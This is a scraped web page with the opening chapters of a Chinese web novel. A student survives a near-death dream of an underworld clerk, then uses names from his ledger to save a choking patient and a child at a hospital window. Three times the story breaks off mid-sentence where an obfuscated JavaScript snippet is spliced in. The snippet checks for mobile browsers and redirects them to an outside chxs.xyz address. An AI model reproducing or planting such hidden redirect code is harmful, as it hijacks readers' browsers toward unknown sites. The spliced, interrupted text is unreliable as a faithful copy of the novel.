《某天听见猫说话》 1. 倒霉到家了 漫天大雾,路上行人俱是摇摇晃晃地向着某个方向前进。尽管这条大道上挤满了人,整个世界却沉默得可怕。常喜乐跟随着人流慢慢向前走着,总觉得忘记了什么事,却怎么也想不起来。 直到她走过一条小河,又在一个长案前坐下。对面坐着个男人,他一身紫袍,头戴一顶黑帽,黑色长发垂下一缕,勾在手执的毛笔上。 他看也不看常喜乐一眼,只自顾自打了个哈欠,有气无力地问:“叫什么名字?” 常喜乐下意识觉得把名字告诉陌生人不是什么好事,然而她沉默的时间越久,胸口前越沉闷不已,似乎有什么力量不断催促着她回答。 “……凭什么告诉你?”常喜乐紧咬着牙关,不肯遂了眼前这人的意。 这人听见这话,终于抬头瞧了她一眼。这一看,立刻诧异道:“怎么是个生魂?” 常喜乐深吸了一口气,憋着股劲儿反问他:“问人名字前,不该先自报家门?” “我的名字?……哈,说出来怕你吓死。”他嗤笑一声,拿起毛笔,以笔杆指了指常喜乐眉心的位置,冷冰冰地又问了一遍,“叫什么名字?” “常……”这下她的眉心似有火烧刀钻一般剧烈疼痛起来,常喜乐觉得这一瞬自己的魂魄都逸散了,以至于连一句话都说不完整。 “常什么?”这男人眉头紧锁,抬手将桌上的册子翻来翻去。 常喜乐低头瞥了眼,只看到那册子上密密麻麻写着不同的人名,后面还跟着一串时间。 “不对。”没等常喜乐多看几眼,男人就合上了册子,他细细打量着面前这女孩,皱眉道,“这上面根本没有姓常的人。” 然而,不等常喜乐再开口说话,就听见遥远的地方传来一阵铃铛声,虽然距离极远,听在耳边却十分清晰。仔细再分辨,其中还伴随着喃喃的呼唤声。 两人尚且对视着,常喜乐就看着这怒目圆睁瞪着自己的男人距离自己越来越远,越来越远。事实上,这并不是男人位置发生了变化,而是常喜乐的身体在迅速地后退。 男人自然不依,他还没弄清这生魂是怎么一回事,就这么放她离开,岂不是算他失职? 他匆匆把毛笔往桌上一拍,就想把人捉回来,然而这一抬手却莫名被什么力量打了回来。他倒吸了一口气,收回手,只见手背上被什么东西狠狠抓了一道,耳边犹回荡着方才那声凄厉的猫叫。 要知道,寻常的东西是不可能在他身上留下伤痕的。 等他再抬头,那姓“常”的姑娘早不知道去哪儿了。 “啧。”那男人颓丧地坐回位子,把“常”这个字单独写在一张空白的纸上,过了会,他又补了“长”“昌”两字。 “这下又要加班了。”夜色中,一个声音缓缓叹道。 等常喜乐再醒来的时候,只觉得头痛欲裂。耳边再次传来铃铛声,她眨了眨眼,等到眼前的重影合二为一,终于看清了床边站着的是谁。 面前的女人看着约莫三十多岁,她一身蓝色大褂,长发在头顶束成个丸子状,手提着个铃铛,闭着眼,嘴里还念念有词。 她眉目清秀,乍一看长相和常喜乐有五分相似。不过,一定要深究的话,不如说她和常喜乐的妈妈唐柿心有八分相似才对。 “小姨。”常喜乐坐起来,乖乖地叫了一声这好久不见的小姨,唐柚。 唐柚慢慢地睁开了眼,看着自己这多年未见的亲侄女,表情也不怎么热络,只是问她:“你才来山城多久,怎么把自己搞成这副模样?” 常喜乐今年八月底刚上大一,考了个离自家十万八千里远的学校。既然考上了,纵然唐柿心有一万个不舍得,也没有不让孩子读书的道理。她只是一边替女儿准备着行李,一边碎碎念地自我安慰道:“说来倒也巧,你小姨现在就住在山城,到时有啥事,她也能照拂着你点。” 常喜乐对这小姨,实际上却很不熟悉。只知她从小离经叛道,长大后更是执意出了家,把外公外婆气了个仰倒。后来她没再回过家,哪怕逢年过节的也只是寄封信回来,信封上指明只写给唐柿心,气得她爹妈又是一个仰倒。 这家里,要说唐柚能听进谁的话,估计也就是她的大姐唐柿心了。 常喜乐临走前,唐柿心收拾着行李,又想起什么似的,叮嘱道:“不过她忙,没事你也少烦她。” “大概是水土不服吧……”常喜乐回忆到这,很有些不好意思地抓了抓自己的后脑勺,没想到时隔多年再见小姨,就是在这么窘迫的境况下。 常喜乐头一回来山城,对这里的一切都不习惯——地势、天气、饮食等等,这些都不是一时半会能适应的。而且,她最近不知触了什么霉头,水逆得不得了。 按说一帆风顺哪是人生,人生在世遇到点倒霉事再正常不过了。可常喜乐这段日子实在也有些太倒霉了! 她喝凉水能呛着,走平路会绊倒,吃方便面没有调料包,点外卖商家不给筷子。上述这些倒还能暂且忍耐,然而就在昨天,她和室友出去聚了一次餐,大家吃的喝的分明都一样,结果就她一个人发了高烧,上吐下泻后就脱力了一般昏迷不醒,可把另外两个室友吓坏了,连夜联系导员给她送进了医院。 “你刚才可是差点死了。”唐柚面无表情地探了探常喜乐的脉搏,确定已经稳定下来后才收回手。 据医生说常喜乐的病因是食物中毒,原本病情也已经稳定下来了。然而等唐柚终于奉她那大姐的命令来探望侄女,一来到病房里,却发现常喜乐已然没了呼吸心跳,仔细探查后,其三魂七魄里还少了一魂一魄。 唐柚按下护士铃后,便拿出随身的铃铛来,想试着把她逸散的魂魄召回来。然而她再三呼唤都没有结果,直到方才那一声不知从何处传来的凄厉的猫叫响起后,常喜乐才慢慢醒转。 唐柚看着门口那只白猫旁若无人似的踱步进来,轻轻一跃就跳到了病床上,被常喜乐自然地揽进了怀里。 “太夸张了吧小姨。”常喜乐颇为顺手地撸了把猫的毛,没把唐柚说的话放在心上。毕竟她现在除了虚弱些,没有任何不适,哪有要死的迹象? 虽然她们大学生平常很喜欢说些“死了蒜了”“笑死了”“气死了”“啊我死了”一类的话,但“想死”只是一种状态,咱不能真的去死不是? 不过,没想到小姨这样看似古板的人,也喜欢这么夸张的说话方式。 “……”唐柚回想起她大姐耳提命面叮嘱着不许把她把离家后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14288943|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学的那些“封建迷信”教给常喜乐的话,忍着没再详细说明常喜乐方才是怎么个“将死”法。 只是她端详了常喜乐片刻,还是没忍住问:“你这段时间有没有遇到什么奇怪的人或者事?” 很倒霉算吗? 常喜乐想了想,回答她:“我最近常常做梦,总是梦见些不认识的人。” 唐柚听到“梦”这个字眼,追问道:“梦里的人认识吗?看得清脸吗?” “不认识,看得清。”常喜乐老实回答。 “……”唐柚沉默了半晌,从身上摸出了个小荷包递给常喜乐。 “这是什么呀?”常喜乐接过这个小荷包,上头的针线繁复,模样非常精致。她看着就迷了眼,端详了片刻后想打开荷包看看里面有什么,却被唐柚制止了。 “这是……”唐柚顿了顿,找了个年轻人能接受的说法,“我从庙里求来的,很灵,随身带着能保你平安,还能保财运亨通。” “真的吗!”常喜乐一听到“财运”两个字,其他的全都抛之耳后了,她对这荷包的喜爱立刻更上一层楼。 “嗯,务必随身携带。”唐柚木着一张脸点点头,勉强补充道,“不然就不灵了。” “好的!我必须连洗澡都带着!”常喜乐正答应着,突然听见走廊处传来匆匆的脚步声,她的视线移向门口,见一位护士气喘吁吁地赶来,大概是方才听到了护士铃。 “病人醒了,请为她检查一下吧。”既然常喜乐已经没事了,唐柚也就不再多留,她礼貌地向护士颔首以示道谢。等她走到门口时,又回过头对常喜乐叮嘱道,“记住,无论任何时候,都不要告诉陌生人你的名字。” 常喜乐正在配合护士姐姐检查,听到这话立刻下意识点了点头。等她想起来问“那在梦里呢?”的时候,唐柚已经不见了踪影。 常喜乐的身体的确没什么大问题,只是有些气血不足、太过虚弱,还需要再留院观察几天。 她百无聊赖地靠在枕头上,摸出了手机查看信息。 室友群不时有人把课件的照片传上来,是给常喜乐留的。班里也有要好的同学来问她近况。爸妈则和她打了个视频通话。 等常喜乐一一回过消息后,指尖缓缓停留在一个被挤到列表很下面的聊天框上。 那人的头像是一张照片,画面里是个坐在湖边上的白发青年。清晨的大雾笼罩万物,使他的身形若隐若现。这人在身旁支了个画架,正聚精会神地写生。有一束阳光透过雾气照耀在他画板的顶端,正补上了那一片空缺,使整幅画都有生命般活了起来。 这照片是常喜乐亲手拍的,一度被她奉为年度最满意的照片。 备注是“男朋友”。 然而,这位占据着男友身份的家伙上一次给常喜乐发消息,已经是几天之前了。 常喜乐点进聊天框,看着界面的最后一句话,还是常喜乐生病那晚痛得不行时发的。 [喜乐]:救命,我真的觉得我要死了。 而后再无回音。 常喜乐皱了皱眉,不知道在想些什么。手边的白猫在她怀里蹭了蹭,转移了她的注意力。常喜乐干脆放下手机,索性眼不见心不烦,安心地撸起小猫来了。 2. 我曾听过你的名字 说来神奇,在拿上小姨送的荷包之后,常喜乐没再在梦里看见些古怪的人了。 医院生活实在无聊得有些恼人,常喜乐伸了个懒腰,慢慢走到窗户边。屋外阴雨连绵,路上连平时出来散步的病人也没有,叫人心情都黯淡了。 这几天她的病情总是反复。一到夜晚,她的病情总会加重,等到日出来临,她才又好转些,这么一来,她就一直出不了院。 可是再闷在病房里,她就要憋坏啦! 常喜乐伸了个懒腰,她瞥了眼桌子上亮起的手机屏幕,是室友群里发来的消息。 小艾:[呜呜喜乐你什么时候回来,想你!] 任清随后跟上:[附议] 常喜乐嘴角微微扬起。 (^v^) :[众爱卿不要心急,等朕微服私访完就回来] 小艾:[陛下速速,你不在,任妹这几天老做噩梦呢] 任清:[确实] 常喜乐挑了挑眉,又问了几句学校里的情况,划出聊天框后,没忍住又看了眼那个头像。 过了三天,如果不多往下划拉,已经很难找到这个头像了。 这三天里,他一言不发,好像世界上根本没这么个人似的。 常喜乐正打算放下手机,界面顶部突然推送了一条博文,标题赫然是:“姐妹们!不要再去猜他是不是真的爱你了!” 常喜乐对这种情感帖子一向不怎么感兴趣。 然而今天,她手指一点,还是没忍住看看里边具体说了些什么。 帖子的内容却很简单,正文还没有标题字数多。 “因为真正的喜欢不需要猜,藏也藏不住。” 常喜乐挠了挠头,后退几步仰躺在了病床上。她往下划拉,评论里有很多人在分享自己的经历。 “暧昧了三个月,他还是没有表白。说真的姐妹们,不表态就是不喜欢!!” “我只是无意提到了这几天大概要来例假,他就突然找理由说最近没空,要取消周末的约会。我真的气笑了。。” …… 都说旁观者清,常喜乐看着评论区这些事迹,也觉得那些恋人毫无疑问是不够爱的。 然而轮到她自己,又是另一回事。 她的食指尖有规律地在屏幕上点了点,终于也打下了两行字。 “我生了重病进医院三天,男朋友别说来看望我,连发个消息慰问也没有。” 等发送完之后,她又觉得没劲儿,把手机往旁边一丢。结果没听见手机落地的声,倒听到只小猫哀哀地叫。 常喜乐一转头,才发现那只小白猫不知什么时候溜达到她这间病房来,刚一上床,就被她丢的手机偷袭了个正着。 “哎哟,陛下,对不起呀——”常喜乐很不好意思地讨饶,把哼唧的小猫抱进怀里,一边顺着它的毛,一边仰头望天花板。 这小白猫在她们这层楼的病人之间很出名。它在这的资历甚至比一些新来实习的护士都老。小猫不由任何人养着,只是按时来各个病房巡视一番,因此被戏称是“陛下”在微服私访。因为它长相可爱,性格又温柔,大家都喜欢它,时不时还给“陛下”进贡些美食。 “陛下”哼唧了几声,过了会儿又乖乖在常喜乐怀里找个位置躺好了。 常喜乐轻轻挠着“陛下”的后颈脖,喃喃道:“是不是因为天气不好?” “不然,我的心情怎么这么差?” 小猫不出声,过了会儿,轻轻打起了呼噜。 常喜乐没忍住笑起来,心想,怎么还跟猫聊上了。 她没忍住又拿起手机翻看,意外地发现刚才发布的评论已经收到了许多回复。 “呃……如果不是异地恋的话我很难想象有什么正当理由能解释这一点。” “回楼上,我生病的时候,男友还在国外,一得知消息他二话不说就坐飞机回来陪我了。说实话是真爱的话距离根本不是问题。” “往好处想,说不定他只是死了呢?” “姐妹,你这时候最重要的事情是要让自己心情好起来,心态好康复得才快!为男人悲伤什么的根本就没有意义!” “说得对,女儿当自强!” 常喜乐看着看着,心态又发生了变化。 说的对,整日患得患失的根本没有意义。 两个人在一起当然是奔着变好的目的去的,如果任意一方一直在走下坡路,那说明这段感情有些问题。解决不了,就应该即时分开。 她想得太入神,没发现怀里的小猫什么时候又坐了起来,靠在她颈边,似乎感受到了常喜乐情绪的起伏。 “如果他给不了一个合理的解释。”常喜乐摸了摸猫的头,下定决心,宣布道,“我就和他分手!” 就在这时候,“陛下”突然挣开了她的怀抱,往床下窜去。 被小猫压住的被窝尚且留着余温,常喜乐愣了会,才反应过来,悲痛道:呜呜,怎么连小猫都不理我! 她整理了一下被弄皱的被单,才发现一直放在枕头旁边的荷包突然不见了。 那可是小姨说能带来财运的荷包!常喜乐一转视线,看到离开病房的“陛下”嘴里叼着疑似她荷包的东西。 “别跑!”情场失意但绝不肯再破财的常喜乐难得有了精神头,一下也从床上跳起来,她踩上拖鞋就要去缉拿这个小“强盗”,“狗皇帝,纳命来!” 然而猫的反应速度大概是普通人比不了的,何况常喜乐还是个病人,等到她跑到病房门口,那小白猫早没了踪影。 这条走廊上有许多间病房,从常喜乐这一间向左右延伸开,也不知道那小猫是往哪个方向逃了。 犹豫就会败北!二分之一的概率罢了,常喜乐没纠结半秒就选了个方向追去。 这一会儿因为天气不好,大家都待在病房里休息,没什么人往外走,走廊上空荡荡的,显得常喜乐的脚步声格外明显。 她毕竟身体虚弱,等跑到走廊的尽头时,已经累得气喘吁吁。她双手撑在窗台边沿,往下看时,果然发现那只小白猫已经跑到了楼底,向医院外跑去。它嘴里叼着的赫然就是常喜乐的荷包。 但常喜乐已经没有体力了,何况等她追出楼,在外面的追捕范围就太大,想找到一只猫何其困难? 跑得了和尚跑不了庙,除非这小猫再不回这层病房,不然常喜乐总能想办法捉住它。 这么自我安慰着,常喜乐平复了呼吸,慢慢往自己的病房走去。 然而,没走几步,她就听见走廊末尾的病房里传来非常了不寻常的咳嗽声。这咳嗽声其实不大,然而却异常急促,常喜乐甚至没有听见她换气的间隙。 她犹豫了几秒,从病房门的玻璃窗往里望去,只看见病床上的女人单手紧握着桌沿,眉头紧皱。她过了会儿就不再咳嗽了,但痛苦的表情依旧,似乎是呼吸不上来。在剧烈挣扎下,她甚至翻下了床。 常喜乐不再犹豫,她猛地推开病房门,跑到病人的床边按下紧急呼救铃,随后就试着扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14288944|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起她。 但护士赶来仍然需要一段时间,这期间很可能就是救援的黄金时间。常喜乐不敢坐以待毙,她四下张望了一番试图分析情况,这一看就瞧见桌子上放了一盘切成片的苹果,看样子已经被吃了几块。 联系到这病人窒息的症状,常喜乐问她:“您是不是噎着了?” 病人尚且还有意识,她捂着胸口,艰难地点了点头。 等到护士赶来,仔细为这位名叫戴山雁的病人检查身体后,有些后怕地对常喜乐说:“你刚才的急救措施很有效。” 常喜乐刚才照着军训时急救演练教导的海姆立克急救法对这位病人进行了紧急处理。尽管这是她第一次尝试,最后仍然成功地帮助病人把卡在嗓子眼的苹果片给吐了出来。 这急救方法相当得耗费体力,等护士赶到的时候,就看见常喜乐和戴山雁对坐在地板上。这两个人都是气喘吁吁、面色苍白,一时分不清到底是谁更需要急救。 “小姑娘,真是太谢谢你了。”名为戴山雁的病人约莫二十大几岁。她五官深邃,原本是艳丽的长相。但因为脸色苍白,显得这姣好的面容带上一层破碎的美感。她紧紧握住常喜乐的手,不时还咳嗽几声。 “我也是凑巧路过。”常喜乐难得遇上这样的紧急情况,说不后怕是假的。如果她今天没有凑巧路过,说不定戴山雁就这样窒息而死了。 想到这,她心里对“陛下”的责怪又少了一分。 毕竟救人一命胜造七级浮屠嘛。 戴山雁想了想,从床边桌上的向日葵花束中抽出一把,用手腕上的头绳把花束的根部绑起来后,郑重地递给了常喜乐:“有人跟我说,向日葵象征着朝阳、精力充沛和健康。我借花献佛,把这花送你几朵,也祝你早日康复呀。” 常喜乐接过花,觉得今天阴郁的心情也放晴了,她轻轻地抚了抚尚且沾着水珠的花瓣,抿嘴一笑:“那就借你吉言啦!” 不过,常喜乐打算离开的时候看到了病房墙上的钟表,分针秒针不停转动,昭示着现在的时间:四时二十二分。 她莫名觉得这数字熟悉,回头看了眼病床前挂着的病床卡,上面填写了病人的基本信息,其中就包含了病人姓名:戴山雁。 听的时候没有感觉,然而姓名一旦变成纸上的文字,看上去就直观了许多。 这个名字,她曾经看过的。 常喜乐皱眉,思索着在哪儿见过这名字。 戴山雁见常喜乐站在门口不动,又想起什么似的问她:“对了,忘记问,你叫什么名字,在哪个病房呀?” 她轻轻地把垂落的鬓发挽在耳后,赧然笑道:“等有空的时候,我来找你玩呀?” “……嗯?”常喜乐还没回神,她望向戴山雁,瞟到床边桌子上摆着的日历。 九月十七日。 [戴山雁,九月十七日申时中期故。] 常喜乐想起来了。 她前几天的梦里,那个古怪男人手上厚厚的一本册子里记录了无数姓名和时间,当时常喜乐随意瞟了几眼,就曾经看到这一行字。 有这样巧的事情吗? 不不,也许只是常喜乐在医院待的这几天,偶然听过她的名字呢? 常喜乐犹豫着问她:“你是什么时候开始住院的呀?” 戴山雁也不觉得这问题奇怪,微笑着回答了她:“就在今天上午。” 常喜乐的心一沉。 戴山雁的住院时间,远远晚于常喜乐做梦的时间。 3. 原谅你了 走在回自个儿病房的路上,常喜乐的脚步慢了下来。 除了“戴山雁”这个名字外,是否还有其他眼熟的姓名呢? 这一层的病房全是单人病房,各个病房里的人其实不太会见到彼此,因此常喜乐其实认识的人并不太多。她没地方查证,叹了口气,不禁又觉得是自己想太多了。 这时,安静的走廊上突然传来急促的奔跑声。然而这脚步声很轻快,既不像病人、也不像成人。常喜乐刚把视线从病房的门边移开,就感觉有个温暖的小家伙一头扎进了自己的怀里。 等她低头看清是谁,才笑吟吟地打趣着问道:“是谁家的小调皮蛋在乱跑呀?” 扑到常喜乐怀里的是个扎麻花辫的小女孩,她仰起头,一笑就露出整齐的门牙来,甜甜地喊:“喜乐姐姐——” 这小姑娘名叫徐婉佳,就住在常喜乐对门病房,她前几天发了场高烧,入院检查时却因被发现“疑似胆结石”而住院。因为年纪小做不了手术,尚在观察期。小姑娘性格十分活泼,对常喜乐这个漂亮的大姐姐也很有好感,这两天不时来找她串门聊天。 常喜乐蹲下来,与她平视,叮嘱道:“一个人的时候要小心别到处乱跑哦,万一摔倒了怎么办?妈妈会担心的。” “妈妈出门买东西了啦。”徐婉佳吐了吐舌头,看常喜乐难得严肃的样子,歪头不解道,“可是姐姐你刚才也在跑呀!” 刚才常喜乐的跑步声在这安静的楼层里实在太过明显,这才把一个人待着无聊的徐婉佳小朋友也引了出来。 “哈哈……”常喜乐意识到自己才是罪魁祸首。这时她反而像是干坏事被现场抓包的小孩,心虚地笑了两声,挠挠头保证道,“那姐姐以后也注意,不到处乱跑。” “乖姐姐!拉钩!”徐婉佳学着大人表达夸奖的方式踮着脚摸了摸常喜乐的头。等两人拉完钩后,她又从口袋里掏出了一个紫色的千纸鹤,小心地捧着递给了常喜乐,“这个送给你,大姐姐你要早日康复哦。” “谢谢佳佳!”挥别徐婉佳之后,常喜乐心情很好地回了自己的病房。果然小孩子不熊的时候还是十分可爱的! 等她在床上坐好之后,刚才被打断的思绪才又涌现出来。她沉默了片刻,干脆坐到桌子前,拿出纸笔试着回忆梦里的内容。 一般来说,常喜乐从前不管做什么梦,在醒来的时候,记忆都会如同被橡皮擦过一样慢慢褪色,梦的具体内容都是记不清的。然而这几天,她做的梦却始终清晰得仿佛亲身经历过一般。 她稍微一回忆就默出几个从未听说过的名字来,后面还附上了她记得的时间。她刚开始写的几行字还很流畅,然而过了段时间行笔就逐渐凝滞。 毕竟她当时也只是随意瞟了几眼,并没有觉得那小小册子上记了什么很有用的东西。 最后,她慢慢地写出了“徐婉佳”的名字。 这一行字当时在册页上的末尾部分,常喜乐其实不是很确定当时看到的到底是“徐婉佳”还是“徐婉好”一类的字眼。但册子上所有相邻的名字后面跟着的时间都很接近。 因此,常喜乐还记得,那个名字后面跟着的时间,似乎也在申时。 申时,在15时到17时之间。 常喜乐看了一眼时间,下午四时四十二分。 她心里莫名有点不安,几乎是顺从了本能站起来,往徐婉佳在的病房走去。 从外面听,房间里安静得反常。 “佳佳,姐姐可以进来吗?”常喜乐敲了敲门,但没有听到回应,她从门上的玻璃窗往里看,这一下只觉得全身血液倒流。 徐婉佳不知什么时候搬了个凳子爬上了病房里的窗台,伸着手想要够到临近窗户的树枝上的一只小鸟。那树枝看着离得近,实际上却离窗台有着不远的距离。小孩子对空间的把控尚且不准确,只觉得差一点就能够到了,还差一点,就差一点点……却不知自己几乎要失去了平衡。 这可是五楼! 常喜乐推开门,疾跑几步往窗边赶去。一阵风吹过,聚精会神的徐婉佳就在这时晃了一下,往窗外的方向倒去。 常喜乐拼命地伸手往前够,也只来得及抓住徐婉佳的脚脖子。 她喘着粗气,心脏狂跳,想要把徐婉佳拉上来,却一时使不上更大的劲儿。十岁小孩儿的体重已经很有些分量,何况她意识到发生了什么,又是头朝下,使得大脑充血,难以冷静。她无法自控地挥动起手臂,想抓住什么着力点,这下连带着她的身体也晃动起来,让常喜乐拉她上来的难度更高了。 常喜乐的额角流下汗水,感觉手腕越来越使不上劲儿。 “佳佳!”这时候,徐婉佳的妈妈张钧婵终于回到了病房,她尖叫着跑到窗边,跟着常喜乐一起把吓破胆的徐婉佳拉了上来。 常喜乐坐在地上,心跳还在剧烈地跳动,她怔怔地看着抱住徐婉佳又哭又骂的张钧婵,又慢慢将视线移到了墙上的钟表,秒针一步一步地走着,将时间推到了下午的四时四十四分。 怎么会这样……? 她只觉得额尖冒出冷汗,不知道是为了徐婉佳的劫后余生,还是因为今天发生的一切都和梦境相映照了。 为什么她梦见的人都在对应的时间发生了意外?那其他常喜乐所不熟悉的名字呢?那些人现在又怎么样了? “谢谢你,真是太谢谢你了!”常喜乐回到自己病房的时候,张钧婵还一把鼻涕一把泪地对她表示着感谢。这位母亲不敢想象,假如常喜乐没有这样巧地走进病房,拉了徐婉佳一把,等张钧婵站在窗边时,将会看到多么惨烈的一副景象? “这是我应该做的。不过小孩子好动又不懂事,还是尽量别让她离开自己的视线呀。”别的再多的宽慰话,常喜乐也说不出来了,等她一个人坐在床上,仍在发愣。 也不知是不是身体还虚弱,这一下午又因为跑动出了许多冷汗、受到了惊吓。总之,常喜乐当晚就又发起了高烧,病情比过去几天都要严重得多。 她迷迷糊糊的,也没力气按响床边的铃,只觉得虽然意识醒了,可全身却动不了一丝一毫,像被什么重物压住了似的。 等她用力闭上眼睛再睁开,发现自己站在了医院住院部外的大草坪上。她左右张望着,不明白自己为什么会在这里。外头依旧下着毛毛雨,天色尚且漆黑,显然现在并不是散步的好时候,周围一个人也没有。 不对,其实有一个人。 在通往草地中央的小径上,一位穿着黑色大衣的男子在雨中漫步。他戴着顶相当不衬他的黑色太阳帽,手上拿着个小册子,漫步向常喜乐走来。 “叫什么名字?” 熟悉的问题,冰冷的公事公办的语调。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14288945|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 常喜乐努力眨着眼,想看清楚他的相貌,然而帽檐挡住了他的上半张脸,她只能看见他薄薄的嘴唇一张一合,这人纳罕道:“是你?” 是你? 这一句话包含的情绪十分耐人寻味。 难道他曾经在哪见过她不成? 常喜乐觉得头痛不止。 “今天的事情和你有关?”那人继续追问,“为什么她们还活着?” 他今天的目标其实并不是面前这女子,然而他在整个医院转了一圈,都没找到那两个在册子上陈列的,理应游荡在此处的亡魂。 “我不知道!”常喜乐并不是胆小的人,然而此刻她却从这人身上感觉到了无与伦比的威胁之意。她有些紧张地后退了一步,不慎跌坐在地上。 一瞬间大雨倾盆,那些雨滴穿过她的身体落在草地上,她只觉得全身冷得发抖。常喜乐仰头,望着这男人,她紧盯着他隐藏在帽檐阴影下的面庞——那双冰冷的眼睛就藏在这阴影里。 “不要和他对视。”一个温柔的声音在她耳边响起,面前这男人却没有动作,他似乎根本没有听到这句话。 常喜乐没再试着看清眼前这陌生人的模样。那温柔的声音继续在她耳边叮嘱道:“低头,闭眼,一切只不过是一场噩梦。” 低头,闭眼。 那黑衣男人就眼看着跌坐在面前的姑娘再次消失在了自己的视线里。 “啧。”他叹了口气。 “真的不想再加班了……” 等到常喜乐再有意识时,她已经回到了温暖的被窝里。 窗外下着大雨,这磅礴的雨声让人仿佛感受到了骤降的温度与寒凉的天气。常喜乐身上没有沾上一滴雨,然而她发着高烧,却反而打起了冷颤。她微微颤抖着,不断流下生理性的泪水。 妈妈、爸爸…… 这时候,却感觉有温暖的东西轻轻蹭过她的脸颊。她吃力地慢慢睁开眼,才看到一只雪白的小猫卧在她枕边。 小猫默默舐去常喜乐滴挂在眼角的泪水。 臭小猫,抢了东西还知道回来看我呀? 常喜乐白天的怨气不知不觉就消散了,此时此刻,她的确最最需要陪伴。不是隔着手机屏幕的遥远的问候,而是触手可及的温热体温,让她知道,一切只不过是噩梦一场,她并不是孤身一人。 她有些吃力地抬起手,想要摸摸小猫毛茸茸的脑袋,然而因为没有力气,最后只是有些无力地将手掌盖在它的头顶。 “好小猫,原谅你了……”常喜乐与小猫对视,外面的大雨不知何时停了下来,露出皎皎的圆月。是了,今天是中秋来着,爸爸妈妈傍晚还给她打了视频电话祝节日快乐。只是外头一直下着雨,看不见圆月,才老让她忘了这事。 在月光照耀下,常喜乐望进小猫湖蓝色的眼睛,它一眼不眨地望着自己。 “你的眼睛可真漂亮呀……”常喜乐沉沉睡了过去,只留下这句喃喃呓语。 等到她再醒来,是被夜间查房护士的说话声惊醒。 “怎么发烧了?”温柔的护士姐姐轻声自言自语着。 等到护士姐姐妥帖地为她检查完身体,头顶着清凉贴,常喜乐又睡着了。 这次,一夜无梦。 而在她枕边,那个精美的荷包已经妥善地被放在了她伸手可得之处。 4. 财运 “大概是昨晚办公室窗户没关好?” “我走之前明明检查了呀,而且别的都没事,就只有病房信息单被打湿了。” “真是怪了。” 第二天醒来的时候,阳光从窗户洒进病房,在自然光照下常喜乐睁开了眼睛。她难得睡了个安稳觉。 不过,病房外似乎有人在私语。 常喜乐掀开被子下床,打开病房门时,就看见昨晚照顾自己的那位许护士正和另一位张护士讨论着什么。 许护士姐姐笑着对常喜乐打了声招呼:“今天起得早呢,看起来气色不错,等会给你量个体温。” 常喜乐乖巧地点点头,都说一觉治百病,这一晚睡醒,她几乎觉得身体已经好全了。不过当下最吸引她注意的还是另一件事。 她看向许护士,就见她怀里拿着的文件夹上的一沓纸已经被雨水打湿大半,根本看不清上面的字。这病房信息单是给护士看的,好快速了解病人的基本信息和最新情况,这一来,许护士对有些病人的情况就拿不准了。 她们刚才应该就是在讨论这件事。 “电脑上应该有信息备份的,你去看看。”张护士拍了拍许护士的肩膀,宽慰她,“小问题,没事的啊。” “这还不是最奇怪的呢。”许护士摇摇头,又说,“我查房的时候,发现好多病床上挂着的病床卡都不见了。” “哎,有些病人觉得这东西暴露隐私嘛,就会自己拿掉,也正常。”张护士“害”了一声,觉得这更不算事儿了,“行了,我还有事儿,你先忙哈。” “好嘞。”许护士点点头,但等张护士走后,她还是若有所思,喃喃道:“可是为什么正好都在昨晚呢?” 她转头,注意到常喜乐已经等了她好一会了,这才回过神,弯着眼睛说:“我先给你量个体温吧?” 常喜乐的身体情况恢复得非常好。 等她再做几个检查,都没有问题后,就可以收拾收拾准备出院了。 她开开心心地收拾了带来的行李,坐在沙发上不时晃着小腿,拿着手机在寝室群里宣布。 (^v^) :[请各位注意!] (^v^) :[喜妃回宫——] 小艾:[不是陛下吗?咋又变嫔妃了] 任清:[这不是重点] (任清拍了拍(^v^)并夸她可爱) 任清:[你可以出院了?] (^v^) :[没错!聪明的任妹~] 任清:[ok,我们来接你。] 小艾:[恭迎喜妃回宫——] (^v^) :[爱你们!] 这时候,很久都不发一言的第四位室友杨瑰司突然冒泡了。 鬼司:[我有点事,就不来了] 群里这就陷入了沉默。 杨瑰司从军训开始就不怎么爱说话,也更喜欢独来独往,常喜乐等人和她一直都不太熟悉。因此这句来接常喜乐本身就没把杨瑰司算在内。 常喜乐挠了挠头,发了个“收到”的可爱表情包,就放下了手机。 总之,能出院就很棒!再在这个小房间待下去,她就要长蘑菇啦! 等任清和方信艾到了医院,常喜乐也差不多办完了出院手续。她在这里的东西不算很多,收拾来去就是个小行李箱——还是任清她们后来根据常喜乐写的信息帮她整理好带来的。 